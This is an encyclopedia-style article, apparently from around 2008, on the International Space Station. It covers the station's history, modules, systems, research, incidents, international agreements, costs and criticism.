          The ISS has been continuously inhabited since the first resident crew entered the station on November 2, 2000, thereby providing a permanent human presence in space. The crew of Expedition 16 are currently aboard. The station is serviced primarily by Russian Soyuz and Progress spacecraft and by U.S. Space Shuttle orbiters. At present the station has a capacity for a crew of three. Early crew members all came from the Russian and U.S. space programs. German ESA astronaut Thomas Reiter joined the Expedition 13 crew in July 2006, becoming the first crew member from another space agency. The station has, however, been visited by astronauts from 15 countries. The ISS was also the destination of the first five space tourists.


          


          


          Origins
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          In the early 1980s, NASA planned Space Station Freedom as a counterpart to the Soviet Salyut and Mir space stations. It never left the drawing board and, with the end of the Soviet Union and the Cold War, it was cancelled. The end of the space race prompted the U.S. administration officials to start negotiations with international partners Europe, Russia, Japan and Canada in the early 1990s in order to build a truly international space station. This project was first announced in 1993 and was called Space Station Alpha. It was planned to combine the proposed space stations of all participating space agencies: NASA's Space Station Freedom, Russia's Mir-2 (the successor to the Mir Space Station, the core of which is now Zvezda) and ESA's Columbus that was planned to be a stand-alone spacelab.


          The first section, the Zarya Functional Cargo Block, was put in orbit in November 1998 on a Russian Proton rocket. Two further pieces (the Unity Module and Zvezda service module) were added before the first crew, Expedition 1, was sent. Expedition 1 docked to the ISS on November 2, 2000, and consisted of U.S. astronaut William Shepherd and two Russian cosmonauts, Yuri Gidzenko and Sergei Krikalev.


          


          Assembly


          The assembly of the International Space Station is a major aerospace engineering endeavor. When assembly is complete the ISS will have a pressurized volume of approximately 1,000 cubic meters. Assembly began in November 1998 with the launch of Zarya -- the first ISS module -- on a Proton rocket, and as of 2008 assembly is on-going.


          Two weeks after Zarya was launched, the STS-88 shuttle mission followed, bringing Unity, the first of three node modules, and connecting it to Zarya. This bare 2-module core of the ISS remained unmanned for the next one and a half years, until in July 2000 the Russian module Zvezda was added, allowing a maximum crew of two astronauts or cosmonauts to be on the ISS permanently.


          


          Pressurized modules


          The ISS is currently under construction, and will eventually consist of fourteen pressurized modules with a combined volume of around 1,000 cubic metres. These modules include laboratories, docking compartments & airlocks, nodes and living quarters, eight of which are already in orbit, with the remaining six awaiting launch on the ground. Each module is launched either by Space Shuttle, Proton rocket or Soyuz rocket, and is listed below along with its purpose, launch date and mass.


          
            
              	For more information about the modules, visit the module pages linked on the table below.
            

          


          
            
              	Module

              	Launch date

              	Launch vehicle

              	Docking date

              	Mass (kg)

              	Assembly flight

              	Purpose

              	Isolated View

              	Station View
            


            
              	Zarya

              (FGB)

              	1998- 11-20

              	Proton-K

              	N/A

              	19,323kg (42,600lb)

              	1A/R

              	Provided electrical power, storage, propulsion, and guidance during initial assembly, now serves as a storage module (both inside the pressurized section and in the externally mounted fuel tanks).

              	[image: ]

              	[image: ]
            


            
              	Unity

              (Node 1)

              	1998- 12-04

              	Space Shuttle Endeavour, STS-88

              	1998- 12-07

              	11,612kg (25,600lb)

              	2A

              	First American node, connecting the American section of the station to the Russian section (via PMA-1). Provides berthing locations for the Z0 truss, Quest airlock, Destiny laboratory and Node 3.

              	[image: ]

              	[image: ]
            


            
              	Zvezda

              (Service Module)

              	2000- 07-12

              	Proton-K

              	2000- 07-26

              	19,051kg (42,000lb)

              	1R

              	Station service module, providing main living quarters for resident crews, environmental systems and attitude & orbit control, in addition to docking locations for Soyuz spacecraft, Progress spacecraft and the Automated Transfer Vehicle. The addition of the module rendered the ISS permanently habitable for the first time.

              	[image: ]

              	[image: ]
            


            
              	Destiny

              (US Laboratory)

              	2001- 02-07

              	Space Shuttle Atlantis, STS-98

              	2001- 02-10

              	14,515kg (32,000lb)

              	5A

              	Primary research facility for American payloads aboard the ISS, also providing environmental systems and living quarters to the station.

              	[image: ]

              	[image: ]
            


            
              	Quest

              (Joint Airlock)

              	2001- 07-12

              	Space Shuttle Atlantis, STS-104

              	2001- 07-14

              	6,064kg (13,369lb)

              	7A

              	Primary airlock for the ISS, hosting spacewalks with both American EMU and Russian Orlan spacesuits.

              	[image: ]

              	[image: ]
            


            
              	Pirs

              (Docking Compartment)

              	2001- 09-14

              	Soyuz-U

              	2001- 09-16

              	3,630kg (8,003lb)

              	4R

              	Provides the ISS with additional docking ports for Soyuz & Progress spacecraft, and allows egress and ingress for spacewalks by cosmonauts using Russian Orlan spacesuits, in addition to providing storage space for these spacesuits.

              	[image: ]

              	[image: ]
            


            
              	Harmony

              (Node 2)

              	2007- 10-23

              	Space Shuttle Discovery, STS-120

              	2007- 11-14

              	13,608kg (30,001lb)

              	10A

              	The "utility hub" of the ISS. Node 2 contains four racks that provide electrical power, bus electronic data, and act as a central connecting point for several other components via its six Common Berthing Mechanisms (CBMs). The European Columbus is currently berthed to Harmony. The Japanese Kibō laboratories will also be berthed to Harmony when it is launched. In addition, the Harmony module serves as a berthing port for the Multi-Purpose Logistics Modules during space shuttle logistics flights.

              	[image: ]

              	[image: ]
            


            
              	Columbus

              (European Laboratory)

              	2008- 02-07

              	Space Shuttle Atlantis, STS-122

              	2008- 02-11

              	12,800kg (28,219lb)

              	1E

              	Primary research facility for European payloads aboard the ISS, providing ten International Standard Payload Racks and mounting locations for external experiments.

              	Image:Columbus arm.jpg

              	[image: ]
            


            
              	Unlaunched modules
            


            
              	Experiment Logistics Module

              (JEM-ELM)

              	NET 2008- 03-11

              	Space Shuttle Endeavour, STS-123

              	TBD

              	4,200kg (9,259lb)

              	1J/A

              	Not yet launched. Part of the Kibō Japanese Experiment Module laboratory, the ELM provides storage and transportation facilities to the laboratory, with a pressurized section to serve internal payloads and an unpressurized section to serve external payloads.

              	[image: ]
            


            
              	Japanese Pressurized Module

              (JEM-PM)

              	NET 2008- 04-24

              	Space Shuttle Discovery, STS-124

              	TBD

              	15,900kg (35,053lb)

              	1J

              	Not yet launched. Part of the Kibō Japanese Experiment Module laboratory, the PM is the core module of Kibō to which the ELM & Exposed Facility are berthed and contains ten International Standard Payload Racks.

              	[image: ]
            


            
              	Multipurpose Laboratory Module

              	December 2008

              	Proton-K

              	TBD

              	21,300kg (46,958lb)

              	3R

              	Not yet launched. The MLM will be Russia's primary research module as part of the ISS, and will be used for experiments, docking and cargo logistics. It will also serve as a crew work and rest area, and will also be equipped with a backup attitude control system that can be used to control the station's attitude.

              	[image: ]
            


            
              	Docking Cargo Module

              	2010

              	Space Shuttle Endeavour, STS-131

              	TBD

              	4,700kg (10,362lb)

              	ULF4

              	Not yet launched. The final Russian component of the ISS, the DCM will be used for docking and cargo storage aboard the station.

              	
            


            
              	Node 3

              	2010

              	Space Shuttle Discovery, STS-132

              	TBD

              	14,311kg (31,550lb)

              	20A

              	Not yet launched. The last of the station's US nodes, Node 3 will contain the most advanced life support systems ever flown in space, providing systems to recycle waste water for crew use and generate oxygen for the crew to breathe. The node also provides four berthing locations for more attached pressurized modules or crew transportation vehicles, in addition to the permanent berthing location for the station's Cupola.

              	[image: ]
            


            
              	Cupola

              	2010

              	Space Shuttle Discovery, STS-132

              	TBD

              	1,800kg (3,968lb)

              	20A

              	Not yet launched. The Cupola is an observatory module that will provide ISS crew members with a direct view of robotic operations and docked spacecraft, as well as an observation point for watching the Earth. The module will come equipped with robotic workstations for operating the SSRMS and shutters to prevent its windows from being damaged by micrometeorites. The Cupola will be the last station component to be berthed in its permanent location.

              	[image: ]

              	[image: ]
            

          


          


          Major ISS systems
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              The ISS in 2001, showing solar panels.
            

          


          


          Power supply


          The source of electrical power for the ISS is the sun: light is converted into electricity through the use of solar panels. Before assembly flight 4A (shuttle mission STS-97, November 30, 2000) the only power source was the Russian solar panels attached to the Zarya and Zvezda modules: the Russian segment of the station uses 28 volts dc (like the Shuttle). In the rest of the station, electricity is provided by the solar cells attached to the truss at a voltage ranging from 130 to 180 volts dc. The power is then stabilized and distributed at 160 volts dc and then converted to the user-required 124 volts dc. Power can be shared between the two segments of the station using converters, and this feature is essential since the cancellation of the Russian Science Power Platform: the Russian segment will depend on the U.S. built solar arrays for power supply.


          Using a high-voltage (130 to 160 volts) distribution line in the U.S. part of the station led to smaller power lines and thus weight savings.


          The solar array normally tracks the sun to maximize the amount of solar power. The array is about an acre in area and 190feet (58m) long. In the fully-complete configuration, the solar arrays track the sun in each orbit by rotating the alpha gimbal; while the beta gimbal adjusts for the angle of the sun from the orbital plane. (However, until the main truss structure was brought up, the arrays were in a temporary position perpendicular to the final orientation, and in this configuration, as shown in the image to the right, the beta gimbal was used for the main solar tracking.) Another slightly different tracking option, Night Glider mode, can be used to reduce the drag slightly by orienting the solar arrays edgewise to the velocity vector.


          


          Life support
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              Environmental Control and Life Support System (ECLSS).
            

          


          The ISS Environmental Control and Life Support System provides or controls elements such as atmospheric pressure, oxygen levels, water, and fire extinguishing, among other things. The Elektron system generates oxygen aboard the station. The highest priority for the life support system is the ISS atmosphere, but the system also collects, processes, and stores waste and water produced and used by the crew. For example, the system recycles fluid from the sink, shower, urine, and condensation. Activated charcoal filters are the primary method for removing byproducts of human metabolism from the air.


          


          Attitude control


          The attitude (orientation) of the station is maintained by either of two mechanisms. Normally, a system using several control moment gyroscopes (CMGs) keeps the station oriented, i.e. with Destiny forward of Unity, the P truss on the port side and Pirs on the earth-facing (nadir) side. When the CMG system becomes saturated, it can lose its ability to control station attitude. If this happens, the Russian Attitude Control System can take over, using thrusters to maintain station attitude and allowing the CMG system to desaturate. This has happened automatically as a safety measure, as happened for example during Expedition 10. When a shuttle orbiter is docked to the station, it can also be used to maintain station attitude. This procedure was used during STS-117 as the S3/S4 truss was being installed.


          


          Altitude control


          The ISS is maintained at an orbit from a minimum altitude limit of 278 km to a maximum limit of 460 km. The normal maximum limit is 425 km to allow Soyuz rendezvous missions. Because ISS is constantly falling due to minute atmospheric drag and gravity gradient effects, it needs to be boosted to a higher altitude several times each year. A graph of altitude over time shows that it drifts down almost 2.5 km per month. The boosting can be performed by two boosters on the Zvezda module, a docked Space Shuttle, or by a Progress resupply vessel and takes approximately two orbits (three hours) in which it is boosted several kilometers higher. While it is being built the altitude is relatively low so that it is easier to fly the Space Shuttle with its big payloads to the space station.


          


          Scientific research
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              Columbus at Kennedy Space Centre
            

          


          One of the main goals of the ISS is to provide a place to conduct experiments that require one or more of the unusual conditions present on the station. The main fields of research include biology (including biomedical research and biotechnology), physics (including fluid physics, materials science, and quantum physics), astronomy (including cosmology), and meteorology. The 2005 NASA Authorization Act designated the U.S segment of the International Space Station as a national laboratory with a goal to increase the utilization of the ISS by other Federal entities and the private sector. As of 2007, little experimentation other than the study of the long-term effects of microgravity on humans has taken place. With four new research modules set to arrive at the ISS by 2010, however, more specialized research is expected to begin.


          


          Scientific ISS modules
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              The nadir window in the Destiny lab.
            

          


          The Destiny Laboratory Module is the main research facility currently aboard the ISS. Produced by NASA and launched in February 2001, it is a research facility for general experiments. The Columbus module is another research facility, designed by the ESA for the ISS. Its purpose is to facilitate scientific experiments, and was launched aboard Space Shuttle Atlantis, during mission STS-122 on February 7, 2008 and installed on February 11, 2008. It should provide a generic laboratory as well as ones specifically designed for biology, biomedical research, and fluid physics. There are also a number of planned expansions that will be implemented to study quantum physics and cosmology. The Japanese Experiment Module, also known as Kibō, is scheduled to be in space after the STS-127 launch in or around January, 2009. It is being developed by JAXA in order to function as an observatory and to measure various astronomical data. The ExPRESS Logistics Carrier, developed by NASA, is set to be launched for the ISS with the STS-129 mission, which is expected to take place no earlier than September 11, 2009. It will allow experiments to be deployed and conducted in the vacuum of space and will provide the necessary electricity and computing to locally process data from experiments. The Multipurpose Laboratory Module, created by the RKA, is expected to launch for the ISS in late 2009. It will supply the proper resources for general microgravity experiments.


          A couple of planned research modules have been cancelled, including the Centrifuge Accommodations Module (used to produce varying levels of artificial gravity) and the Russian Research Module (used for general experimentation). Several planned experiments, such as the Alpha Magnetic Spectrometer, have been cancelled as well.


          


          Areas of research


          There are a number of plans to study biology on the ISS. One goal is to improve understanding of the effect of long-term space exposure on the human body. Subjects such as muscle atrophy, bone loss, and fluid shifts are studied with the intention to utilize this data so space colonization and lengthy space travel can become feasible. The effect of near-weightlessness on evolution, development and growth, and the internal processes of plants and animals are also studied. In response to recent data suggesting that microgravity enables the growth of three-dimensional human body-like tissues and that unusual protein crystals can be formed in space, NASA has indicated a desire to investigate these phenomena.


          NASA would also like to study prominent problems in physics. The physics of fluids in microgravity are not completely understood, and researchers would like to be able to accurately model fluids in the future. Additionally, since fluids in space can be combined nearly completely regardless of their relative weights, there is some interest in investigating the combination of fluids that would not mix well on Earth. By examining reactions that are slowed down by low gravity and temperatures, scientists also hope to gain new insight concerning states of matter (specifically in regards to superconductivity).


          Additionally, researchers hope to examine combustion in the presence of less gravity than on Earth. Any findings involving the efficiency of the burning or the creation of byproducts could improve the process of energy production, which would be of economic and environmental interest. Scientists plan to use the ISS to examine aerosols, ozone, water vapor, and oxides in Earth's atmosphere as well as cosmic rays, cosmic dust, anti-matter, and dark matter in the Universe.


          The long-term goals of this research are to develop the technology necessary for human-based space and planetary exploration and colonization (including life support systems, safety precautions, environmental monitoring in space, etc.), new ways to treat diseases, more efficient methods of producing materials, more accurate measurements that would be impossible to achieve on Earth, and a more complete understanding of the Universe.


          


          Future of the ISS


          NASA Administrator Michael D. Griffin says the International Space Station has a role to play as NASA moves forward with a new focus for the manned space program, which is to go out beyond Earth orbit for purposes of human exploration and scientific discovery. "The International Space Station is now a stepping stone on the way," says Griffin, "rather than being the end of the line". He says ISS crews not only will continue to learn how to live and work in space but also will learn how to build hardware that can survive and function for the years required to make the round-trip voyage from Earth to Mars.


          


          Major incidents


          [bookmark: 2001_.E2.80.93_6A_Anomaly]


          2001  6A Anomaly


          Around the time Dennis Tito became the first space tourist, assembly flight 6A was taking place. On April 25, 2001, the Memory Storage Devices (MSDs), which comprised Disk Drive Cartridges (DDCs) on the ISS main computers (C&C MDMs) all failed nearly simultaneously. The station's MDMs now use solid state mass memory units (SSMMUs) in place of traditional disk drive cartridges (DDCs).


          [bookmark: 2003_.E2.80.93_Columbia_disaster]


          2003  Columbia disaster


          The Space Shuttle Columbia disaster on February 1, 2003, the following two-and-a-half-year suspension of the U.S. Space Shuttle program, followed in turn by another one-year suspension following STS-114, all resulted in some uncertainty about the future of the ISS. All crew exchanges between Feb. 2003 and July 2006 were carried out solely using the Russian Soyuz spacecraft. (STS-114 in July 2005 was a logistics-only visit). Starting with Expedition 7, two-astronaut caretaker crews were launched in contrast to the previously launched crews of three. Because the ISS had not been visited by a shuttle for an extended period, a larger than planned amount of waste accumulated, temporarily hindering station operations in 2004. However, Progress transports and the STS-114 shuttle flight took care of this problem.
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          2006  Smoke problem


          On September 18, 2006, the Expedition 13 crew activated a smoke alarm in the Russian segment of the International Space Station when fumes from one of the three oxygen generators triggered momentary fear about a possible fire. Flight engineer Jeffrey Williams reported an unusual smell, but officials said there was no fire and the crew was not in any danger.


          The crew initially reported smoke in the cabin, as well as a smell. It was later found to be caused by a leak of potassium hydroxide from an oxygen vent. The equipment was turned off. Potassium hydroxide is odorless and the smell reported by Williams more likely was associated with an overheated rubber gasket in the Elektron system.


          In any case, the station's ventilation system was shut down to prevent the spread of smoke or contaminants through the rest of the lab complex. A charcoal air filter was put in place to help scrub the atmosphere of any lingering potassium hydroxide fumes. The space station's program manager said the crew never donned gas masks, but as a precaution put on surgical gloves and masks to prevent contact with any contaminants.


          On November 2, 2006 the payload brought by the Russian Progress M-58 allowed the crew to repair the Elektron using spare parts.
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          2007  Computer failure


          On June 14, 2007 during Expedition 15 and flight day 7 of STS-117's visit to ISS, a computer malfunction on the Russian segments at 06:30 UTC left the station without thrusters, oxygen generation, carbon dioxide scrubber, and other environmental control systems, and caused the temperature on the station to rise. A successful restart of the computers resulted in a false fire alarm that woke the crew at 11:43 UTC. The two computer systems (command and navigation) are each composed of three computers. Each computer is referred to as a "lane".


          By June 15, the primary Russian computers were back online, and talking to the US side of the station by bypassing a circuit. Secondary systems were still offline, and further work was needed. NASA reported that without the computer that controls the oxygen levels, the station had 56 days of oxygen available.


          By the afternoon of June 16, ISS Program Manager Michael Suffredini confirmed that all six computers governing command and navigation systems for Russian segments of the station, including two thought to have failed, were back online, and would be tested over several days. The cooling system was the first system brought back online. NASA suggested that the overcurrent protection circuits designed to safeguard each computer from power spikes were at fault, and may have been tripped due to increased interference, or "noise," from the station's plasma environment related to the addition of the new starboard trusses and solar arrays. Troubleshooting of the failure by the ISS crew found that the root cause was condensation inside the electrical connectors, leading to a short-circuit that triggered the "power off" command line leading to all three of the redundant processing units. This was initially a concern, because the European Space Agency uses the same computer systems, supplied by EADS Astrium Space Transportation, for the Columbus Laboratory Module and the Automated Transfer Vehicle. Once the root cause was understood, plans were implemented to avoid the problem in the future.
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          2007  Torn solar panel


          On October 30, 2007 during Expedition 16 and flight day 7 of STS-120's visit to ISS, following the reposition of the P6 truss segment, ISS and Space Shuttle Discovery crew members began the deployment of the trusses two solar arrays. The first array deployed without incident, and the second array deployed approximately 80% before astronauts noticed a 2 1/2 foot tear. The arrays had been deployed in earlier phases of the space station's construction, and the retraction necessary to move the truss to its final position had gone less smoothly than planned.


          A second, smaller tear was noticed upon further inspection, and the mission's planned spacewalks were completely replanned in mere days to devise a repair. On Saturday November 3, spacewalker Scott Parazynski assisted by Douglas Wheelock fixed the torn panels using makeshift "cufflinks" and riding on the end of the space shuttle's boom inspection arm; the first ever spacewalker to do so. The spacewalk was regarded as significantly more dangerous than most due to the possibility of shock from the electricity generating solar arrays, the unprecedented usage of the shuttle boom arm, and the lack of spacewalk planning and training for the impromptu procedure. Parazynski was however, able to repair the damage as planned and the repaired array was fully deployed.


          


          Visiting spacecraft
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            	American (NASA) Space Shuttle - resupply vehicle, assembly and logistics flights and crew rotation (to be retired in 2010)


            	Russian (Roskosmos) Soyuz spacecraft - crew rotation and emergency evacuation, replaced every 6 months


            	Russian (Roskosmos) Progress spacecraft - resupply vehicle

          


          


          Planned


          
            	European (ESA) Automated Transfer Vehicle (ATV) ISS resupply spacecraft (scheduled for March 2008)


            	Japanese (JAXA) H-II Transfer Vehicle (HTV) resupply vehicle for Kibo module (scheduled for 2009)


            	American (NASA) Orion for possible crew rotation and as resupply transporter (officially scheduled for 2014)

          


          


          Proposed


          
            	SpaceX Dragon for NASA Commercial Orbital Transportation Services (Scheduled for 2009)


            	Russian (Roskosmos) Space Shuttle Kliper for possible crew rotation and as resupply transporter (scheduled for 2012)


            	European-Russian Crew Space Transportation System (Soyuz-derived) crew rotation and resupply spacecraft (scheduled for 2014)

          


          An additional spacecraft, the K-1 Vehicle manufactured by Rocketplane Kistler, was proposed as part of the NASA Commercial Orbital Transportation Services program, and was scheduled to fly in 2009. On October 18, 2007, NASA discontinued its agreement with Rocketplane Kistler, and announced that the remaining $175 million commitment to the project would be made available to other companies.


          


          Expeditions


          All permanent station crews are named "Expedition n", where n is sequentially increased after each expedition. Expeditions (also called "Increments") have an average duration of half a year.


          The International Space Station is the most-visited spacecraft in the history of space flight. As of October 26, 2007, it has had 196 (non-distinct) visitors. Mir had 137 (non-distinct) visitors (See Space station). The number of distinct visitors of the ISS is 144 .


          
            
              	
                
                  
                    	
                      
Expeditions to the International Space Station
                    
                  


                  
                    	
                  


                  
                    	Completed:

                    	
                      
                        Expedition 1  Expedition 2  Expedition 3  Expedition 4  Expedition 5  Expedition 6  Expedition 7  Expedition 8  Expedition 9  Expedition 10 Expedition 11  Expedition 12  Expedition 13  Expedition 14  Expedition 15  Expedition 16
                      

                    

                    	
                      
                        [image: International Space Station Patch]
                      

                    
                  


                  
                    	
                  


                  
                    	Current:

                    	
                      
                        Expedition 17
                      

                    
                  


                  
                    	
                  


                  
                    	Planned:

                    	
                      
                        Expedition 18  Expedition 19  Expedition 20  Expedition 21
                      

                    
                  

                

              
            

          


          



          



          


          Legal aspects


          


          Agreement
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              Cover page of the Space Station Intergovernmental Agreement signed on January 28, 1998.
            

          


          The legal structure that regulates the space station is multi-layered. The primary layer establishing obligations and rights between the ISS partners is the Space Station Intergovernmental Agreement (IGA), an international treaty signed on January 28, 1998 by fifteen governments involved in the Space Station project. The ISS consists of the United States, Canada, Japan, the Russian Federation, and eleven Member States of the European Space Agency (Belgium, Denmark, France, Germany, Italy, The Netherlands, Norway, Spain, Sweden, Switzerland and the United Kingdom). Article 1 outlines its purpose:


          This Agreement is a long term international co-operative framework on the basis of genuine partnership, for the detailed design, development, operation, and utilisation of a permanently inhabited civil Space Station for peaceful purposes, in accordance with international law.


          The IGA sets the stage for a second layer of agreements between the partners referred to as 'Memoranda of Understanding' (MOUs), of which four exist between NASA and each of the four other partners. There are no MOUs between ESA, Roskosmos, CSA and JAXA due to the fact that NASA is the designated manager of the ISS. The MOUs are used to describe the roles and responsibilities of the partners in more detail.


          A third layer consists of bartered contractual agreements or the trading of the partners' rights and duties, including the 2005 commercial framework agreement between NASA and Roskosmos that sets forth the terms and conditions under which NASA purchases seats on Soyuz crew transporters and cargo capacity on unmanned Progress transporters.


          A fourth legal layer of agreements implements and supplements the four MOUs further. Notably among them is the ISS code of conduct, setting out criminal jurisdiction, anti-harassment and certain other behaviour rules for ISS crewmembers.


          


          Utilization


          
            [image: The interior of the Zarya module.]

            
              The interior of the Zarya module.
            

          


          There is no fixed percentage of ownership for the whole space station. Rather Article 5 of the IGA sets forth that each partner shall retain jurisdiction and control over the elements it registers and over personnel in or on the Space Station who are its nationals. Therefore, for each ISS module only one partner retains sole ownership. Still, the agreements to use the space station facilities are more complex.


          The three planned Russian segments Zvezda, the Multipurpose Laboratory Module and the Russian Research Modules are made and owned by Russia, which, as of today, also retains its current and prospective usage ( Zarya, although constructed and launched by Russia, has been paid for and is officially owned by NASA). In order to use the Russian parts of the station, the partners use bilateral agreements (third and fourth layer of the above outlined legal structure). The rest of the station, (the U.S., the European and Japanese pressurized modules as well as the truss and solar panel structure and the two robotic arms) has been agreed to be utilized as follows (% refers to time that each structure may be used by each partner):


          
            	Columbus: 51% for ESA, 49% for NASA and CSA (CSA has agreed with NASA to use 2.3% of all non-Russian ISS structure)


            	Kibo: 51% for JAXA, 49% for NASA and CSA (2.3%)


            	Destiny Lab: 100% for NASA and CSA (2.3%) as well as 100% of the truss payload accommodation


            	Crew time and power from the solar panel structure, as well as rights to purchase supporting services (upload/download and communication services) 76.6% for NASA, 12.8% for JAXA, 8.3% for ESA and 2.3% for CSA

          


          


          Costs


          The ISS has been, as of today, far more expensive than originally anticipated. The ESA estimates the overall cost from the start of the project in the late 1980s to the prospective end in 2010 to be in the region of $130 billion (100 billion or 65.3 billion).


          Giving a precise cost estimate for the ISS is, however, not straightforward; it is, for instance, hard to determine which costs should actually be attributed to the ISS program or how the Russian contribution should be measured, as the Russian space agency runs at considerably lower USD costs than the other partners.


          


          NASA


          


          Overview


          
            [image: NASA's current budget projections see an end to ISS funding in 2017, in order to free funds for the Vision for Space Exploration.]

            
              NASA's current budget projections see an end to ISS funding in 2017, in order to free funds for the Vision for Space Exploration.
            

          


          The overall majority of costs for NASA are incurred by flight operations and expenses for the overall management of the ISS. Costs for initially building the U.S. portion of the ISS modules and external structure on the ground and construction in space as well as crew and supply flights to the ISS do account for far less than the general operating costs (see annual budget allocation below).


          NASA does not include the basic Space Shuttle program costs in the expenses incurred for the ISS program, despite the fact that the Space Shuttle has been nearly exclusively used for ISS construction and supply flights since December 1998.


          NASA's 2007 budget request lists costs for the ISS (without Shuttle costs) as $25.6 billion for the years 1994 to 2005. For each of 2005 and 2006 about $1.7 to 1.8 billion are allocated to the ISS program. The annual expenses will increase until 2010 when they will reach $2.3 billion and should then stay at the same level, however inflation-adjusted, until 2016, the defined end of the program. NASA has allocated between $300 and 500 million for program shutdown costs in 2017.


          [bookmark: 2005_ISS_budget_allocation]


          2005 ISS budget allocation
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              NASA allocates about 125 million US dollars (USD) annually to EVAs.
            

          


          The $1.8 billion expensed in 2005 consisted of:


          
            	Development of new hardware: $70 million were allocated to core development, for instance development of systems like navigation, data support or environmental.


            	Spacecraft Operations: $800 million consisting of $125 million for each of software, extravehicular activity systems, and logistics and maintenance. An additional $150 million is spent on flight, avionics and crew systems. The rest of $250 million goes to overall ISS management.


            	Launch and Mission operations: Although the Shuttle launch costs are not considered part of the ISS budget, mission and mission integration ($300 million), medical support ($25 million) and Shuttle launch site processing ($125 million) is within the ISS budget.


            	Operations Program Integration: $350 million was spent on maintaining and sustaining U.S. flight and ground hardware and software to ensure integrity of the ISS design and the continuous, safe operability.


            	ISS cargo/crew: $140 million was spent for purchase of supplies, cargo and crew capability for Progress and Soyuz flights.

          


          


          Shuttle costs as part of ISS costs
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              The only non-ISS related Shuttle flight between 2006 and 2010 will be a Hubble Space Telescope servicing mission, scheduled for 2008.
            

          


          Only costs for mission and mission integration and launch site processing for the 33 ISS-related Shuttle flights are included in NASA's ISS program costs. Basic costs of the Shuttle program are, as mentioned above, not considered part of the overall ISS costs by NASA, because the Shuttle program is considered an independent program aside from the ISS. Since December 1998 the Shuttle has, however, been used nearly exclusively for ISS flights (since the first ISS flight in December 1998, until October 2007 only 5 flights out of 28 flights have not been to the ISS, and only the planned Hubble Space Telescope servicing mission in 2008 will not be ISS-related out of 13 planned missions until the end of the Space Shuttle program in 2010).


          Shuttle program costs during ISS operations from 1999 to 2005 (disregarding the first ISS flight in December 1998) have amounted to approximately $24 billion (1999: $3,028.0 million, 2000: $3,011.2 million, 2001: $3,125.7 million, 2002: $3,278.8 million, 2003: $3,252.8 million, 2004: $3,945.0 million, 2005: $4,319.2 million). In order to derive the ISS-related costs, expenses for non-ISS flights need to be subtracted, which amount to 20% of the total or about $5 billion. For the years 2006-2011 NASA projects another $20.5 billion in Space Shuttle program costs (2006: $4,777.5 million, 2007: $4,056.7 million, 2008: $4,087.3 million, 2009: $3,794.8 million, 2010: $3,651.1 million and 2011: $146.7 million). If the Hubble servicing mission is excluded from those costs, ISS-related costs will be approximately $19 billion for Shuttle flights from 2006 until 2011. In total, ISS-related Space Shuttle program costs will therefore be approximately $38 billion.


          


          Overall ISS costs for NASA


          Assuming NASA's projections of average costs of $2.5 billion from 2011 to 2016 and the end of spending money on the ISS in 2017 (about $300-500 million) after shutdown in 2016 are correct, the overall ISS project costs for NASA from the announcement of the program in 1993 to its end will be about $53 billion (25.6 billion for the years 1994-2005 and about 27 to 28 billion for the years 2006-2017).


          There have also been considerable costs for designing Space Station Freedom in the 1980s and early 1990s, before the ISS program started in 1993. Plans of Space Station Freedom were reused for the International Space Station.


          To sum up, although the actual costs NASA views as connected to the ISS are only half of the $100 billion figure often cited in the media, if combined with basic program costs for the Shuttle and the design of the ISS' precursor project Space Station Freedom, the costs reach $100 billion for NASA alone.


          


          ESA


          ESA calculates that its contribution over the 30 year lifetime of the project will be 8 billion. The costs for the Columbus Laboratory total more than 1 billion already, costs for ATV development total several hundred million and considering that each Ariane 5 launch costs around 150 million, each ATV launch will incur considerable costs as well. In addition ESA has established the Columbus Control Centre in the South of Germany in order to control the Columbus Laboratory.


          


          JAXA


          The development of the Kibo Laboratory, JAXA's main contribution to the ISS, has cost about 325 billion yen (about $2.8 billion). In the year 2005, JAXA allocated about 40 billion yen (about 350 million USD) to the ISS program. The annual running costs for Kibo will total around $350 to 400 million. In addition JAXA has committed itself to develop and launch the HTV-Transporter, for which development costs total nearly $1 billion. In total, over the 24 year lifespan of the ISS program, JAXA will contribute well over $10 billion to the ISS program.


          


          Roskosmos


          A considerable part of the Russian Space Agency's budget is used for the ISS. Since 1998 there have been over two dozen Soyuz and Progress flights, the primary crew and cargo transporters since 2003. The question of how much Russia spends on the station (measured in USD), is, however, not easy to answer. The two modules currently in orbit are derivatives of the Mir program and therefore development costs are much lower than for other modules. In addition, the exchange rate between ruble and USD is not adequately giving a real comparison to what the costs for Russia really are.


          


          CSA


          Canada, whose main contribution to the ISS is the Canadarm2, estimates that through the last 20 years it has contributed about C$1.4 billion to the ISS. Canada has continued to be a leader and vital member of ISS through the past ten years and continues to play a major role in the ISS.


          


          Criticism


          
            [image: The (cancelled) ISS Centrifuge Accommodations Module.]

            
              The (cancelled) ISS Centrifuge Accommodations Module.
            

          


          
            
              "NASA must complete the ISS so it can be dropped into the ocean on schedule in finished form." - Robert L. Park

            

          


          The ISS and NASA have been the targets of varied criticism over the years. Critics contend that the time and money spent on the ISS could be better spent on other projectswhether they be robotic spacecraft missions, space exploration, investigations of problems here on Earth, or just tax savings. Some critics, like Bob Park, argue that very little scientific research was convincingly planned for the ISS in the first place. They also argue that the primary feature of a space-based laboratory is its microgravity environment, which can usually be studied more cheaply with a " vomit comet" (that is, an aircraft which flies in parabolic arcs.)


          Two of the most ambitious ISS projects to datethe Alpha Magnetic Spectrometer and the Centrifuge Accommodations Modulehave both been cancelled due to the prohibitive costs NASA faces in simply completing the ISS. As a result, the research done on the ISS is generally limited to experiments which do not require any specialized apparatus. For example, in the first half of 2007, ISS research dealt primarily with human biological responses to being in space, covering topics like kidney stones, circadian rhythm, and the effects of cosmic rays on the nervous system. Critics tend to believe that this sort of research is of little practical value, since space exploration is today almost universally done by robots.


          Other critics have attacked the ISS on some technical design grounds:


          
            	Jeff Foust argued that the ISS requires too much maintenance, especially by risky, expensive EVAs;


            	The Astronomical Society of the Pacific has mentioned that its orbit is rather highly inclined, which makes Russian launches cheaper, but US launches more expensive. This was intended as a design point, to encourage Russian involvement with the ISSand Russian involvement saved the project from abandonment in the wake of the Space Shuttle Columbia disasterbut the choice may have increased the costs of completing the ISS substantially.

          


          In response to some of these criticisms, advocates of manned space exploration say that criticism of the ISS project is short-sighted, and that manned space research and exploration have produced billions of dollars' worth of tangible benefits to people on Earth. Jerome Schnee estimated that the indirect economic return from spin-offs of human space exploration has been many times the initial public investment. A review of the claims by the Federation of American Scientists argued that NASA's rate of return from spin-offs is actually very low, except for aeronautics work that has led to aircraft sales.


